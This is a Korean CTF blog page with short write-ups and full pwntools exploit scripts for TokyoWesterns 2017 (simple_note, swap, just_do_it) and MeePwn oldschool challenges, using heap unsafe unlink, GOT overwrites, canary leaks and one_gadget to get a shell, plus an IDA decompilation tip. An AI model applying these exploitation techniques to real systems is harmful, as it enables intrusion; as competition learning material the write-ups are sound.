'모든글'에 해당되는 글 71건

.

2018. 10. 26. 16:34

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

pwnable.tw

2018. 1. 14. 11:37

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

단순한 heap overflow 문제로 

unsafe unlink를 이용해서 풀었다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# !/usr/bin/env python
# powerprove
 
from pwn import *
import sys
 
if len(sys.argv) == 1:
    host = "localhost"
    port = 4000
else:
    host = "pwn1.chal.ctf.westerns.tokyo"
    port = 16317
 
def menu(index):
    s.recvuntil("Your choice: \n")
    s.sendline(str(index))
 
def add(size, payload):
    menu(1)
    s.recvuntil("Please input the size: \n")
    s.sendline(str(size))
    s.recvuntil("Please input your note: \n")
    s.sendline(payload)
 
def delete(index):
    menu(2)
    s.recvuntil("Please input the index: \n")
    s.sendline(str(index))
 
def show(index):
    menu(3)
    s.recvuntil("Please input the index: \n")
    s.sendline(str(index))
 
def edit(index, payload):
    menu(4)
    s.recvuntil("Please input the index: \n")
    s.sendline(str(index))
    s.recvuntil("Please input your note: \n")
    s.sendline(payload)
 
= remote(host, port)
 
if __name__ == "__main__":
 
        add(128"A"*127)
        add(128"A"*127)
        add(128"A"*127)
    add(128 + 8"A"*135)
    add(128"A"*127)
    add(128"/bin/sh\x00")
    delete(4)
    add(128"")
 
    show(4)
    s.recvuntil("Note: \n\n")
    libc_base = u64(str("\x00" + s.recv(5)).ljust(8"\x00")) - 0x3c4b00
    system_addr = libc_base + 0x45390
    log.info("libc_base           : " + hex(libc_base))
    log.info("system_addr         : " + hex(system_addr))
 
    payload = p64(0x0)
    payload += p64(0x81)
    payload += p64(0x6020d8 - 24)
    payload += p64(0x6020d8 - 16)
    payload = payload.ljust(128"A")
    payload += p64(0x80)
    payload += "\x90"
    edit(3, payload)
    delete(4)
    edit(3"\x18\x20\x60\x00\x00"# free_got
    edit(0, p64(system_addr))
    delete(5)
 
    s.interactive()
cs



'CTF > 2017' 카테고리의 다른 글

twctf just_do_it write up  (0) 2017.09.08
meepwn CTF 2017 - oldschool  (0) 2017.07.23
MeePwn ctf bs  (0) 2017.07.21
[0CTF EasiestPrintf] write up  (0) 2017.06.30
[plaid ctf 2017] bigpicture  (0) 2017.06.29
블로그 이미지

powerprove

,

twctf swap

카테고리 없음 2017. 9. 8. 16:24

단순한 got를 변경해서 쉘 따는 문제


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python
# powerprove
 
from pwn import *
import sys
 
if len(sys.argv) > 1:
    host =  "pwn1.chal.ctf.westerns.tokyo"
    port = 19937
else:
    host = "localhost"
    port = 4000
 
= remote(host, port)
sleep(5)
 
read_got  = 0x601028
memcpy_got = 0x601040
bss = 0x6010A8
 
def menu(index):
    s.recvuntil("choice:")
    s.sendline(str(index))
 
def addr(payload1, payload2, index):
    if(index == 1):
        s.sendline("\x00")
    else:
        menu(1)
 
    s.recvuntil("addr")
    s.sendline(str(payload1))
    s.recvuntil("addr")
    s.sendline(str(payload2))
 
def pwn(payload):
    menu(2)
    s.send(payload)
 
if __name__ == "__main__":
    addr(memcpy_got, read_got, 0)
    menu(2)
 
    addr(0,0x6010500)
    pwn(p64(0x4006B0))
 
    sleep(1)
    s.recvuntil("Your choice: \n")
    s.sendline("AAAAAAA")
    s.recvuntil("AAAAAAA\n")
    stack = u64(s.recv(6).ljust(8"\x00"))
    log.info("stack              : " + hex(stack))
 
    s.recvuntil("Your choice: \n")
    s.sendline("")
    s.recvuntil("\n")
    libc_base = u64(("\x00" + s.recv(5)).ljust(8"\x00")) - 0x3c5600
    system_addr = libc_base + 0x45390
 
    log.info("libc               : " + hex(libc_base))
    log.info("system_addr        : " + hex(system_addr))
 
    addr(00x6010501)
    s.sendline("2\x00")
    sleep(0.5)
    s.sendline(p64(system_addr))
 
    s.interactive()
cs





블로그 이미지

powerprove

,
단순한 bof문제

1
2
3
4
5
6
7
8
9
10
11
12
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
if __name__ == "__main__":
    #s = process("./just_do_it")
    s = remote("pwn1.chal.ctf.westerns.tokyo",12482)
    payload = "A"*0x14
    payload += p32(0x804A080)
    s.sendline(payload)
    s.interactive()
cs




'CTF > 2017' 카테고리의 다른 글

twctf simple_note write up  (0) 2017.09.08
meepwn CTF 2017 - oldschool  (0) 2017.07.23
MeePwn ctf bs  (0) 2017.07.21
[0CTF EasiestPrintf] write up  (0) 2017.06.30
[plaid ctf 2017] bigpicture  (0) 2017.06.29
블로그 이미지

powerprove

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

pwnable.tw bookwirter

2017. 8. 17. 18:50

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

bof 문제.

아이다 디컴파일이 안되는법 해결은 아래 포스트에.


카나리 우회가 귀찮다.

스택에 널을 많이 넣고 원샷 돌림.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# !/usr/bin/env python
# powerprove
 
from pwn import *
import sys
 
 
if len(sys.argv) < 2:
    host =  "localhost"
    port = 4000
 
def menu(index):
    s.recvuntil("Choice:")
    s.sendline(str(index))
 
def add_book(name, author, payload_len , payload):
    menu(1)
    s.recvuntil("name")
    s.sendline(name)
    s.recvuntil("Author")
    s.sendline(author)
    s.recvuntil("Description:")
    s.sendline(str(payload_len))
    s.recvuntil("Description")
    s.sendline(str(payload))
 
def leak():
    menu(4)
    s.recvuntil("AAAA")
    libc_base = u64(s.recv(6).ljust(8,"\x00")) -0x7a5e8
    log.info("libc_base          : "+hex(libc_base))
    return libc_base
 
def edit(index, payload, payload2):
    menu(2)
    s.recvuntil("edit")
    s.sendline(str(index))
    s.sendline(payload)
    s.sendline(payload2)
 
= remote(host, port)
raw_input("meepwn : oldshcool")
 
if __name__ == "__main__":
    add_book("B"*31"B"*31256"AAAA")
    libc_base = leak()
    edit(1"B""B")
    s.sendline("A"*28)
    menu(4)
    s.recvuntil("A"*28)
    stack = u64(s.recv(6).ljust(8"\x00")) -0x123
    log.info("stack              : "+hex(stack))
 
    menu(1)
    s.sendline("C"*64)
    edit(2"D"*100"D"*400)
    edit(1"D"*100"E"*(829+ "\x00" + p32(0x1)  +p64(stack + 0x301 - 68+ "D"*200)
    menu(4)
    s.recvuntil("Description: ")
    canary = u64(s.recv(7+ "\x00")
    log.info("canary             : "+hex(canary))
    one_gadget = libc_base + 0xf0274
    edit("A""A")
    payload = p64(canary)
    payload += "A"*15
    payload += p64(one_gadget) + "\x00"*0x60
    s.sendline(payload)
 
    s.recvuntil("Choice:")
    s.sendline("FUCK")
 
s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

twctf simple_note write up  (0) 2017.09.08
twctf just_do_it write up  (0) 2017.09.08
MeePwn ctf bs  (0) 2017.07.21
[0CTF EasiestPrintf] write up  (0) 2017.06.30
[plaid ctf 2017] bigpicture  (0) 2017.06.29
블로그 이미지

powerprove

,

코드게이트도 그렇고 저번에 있었던 meepwn CTF에서도 JMPOUT에 때문에 아이다 디어셈이 되지 않았다.



예시는 meepwn ctf의 oldschool.

메인안에 있는 내용이 디어셈이 안되는 것을 확인할 수 있다.


1. 먼저 JMPOUT부분을  E를 통해서 함수끝을 지정해준다.


2. p(함수 만들기)를 눌러서 함수를 만들어준다.


3. F5를 통해 디어셈을 해준다! 


이는 아이다에서 끝지정과 함수 만들기로 디어셈을 할 수 있다.


블로그 이미지

powerprove

,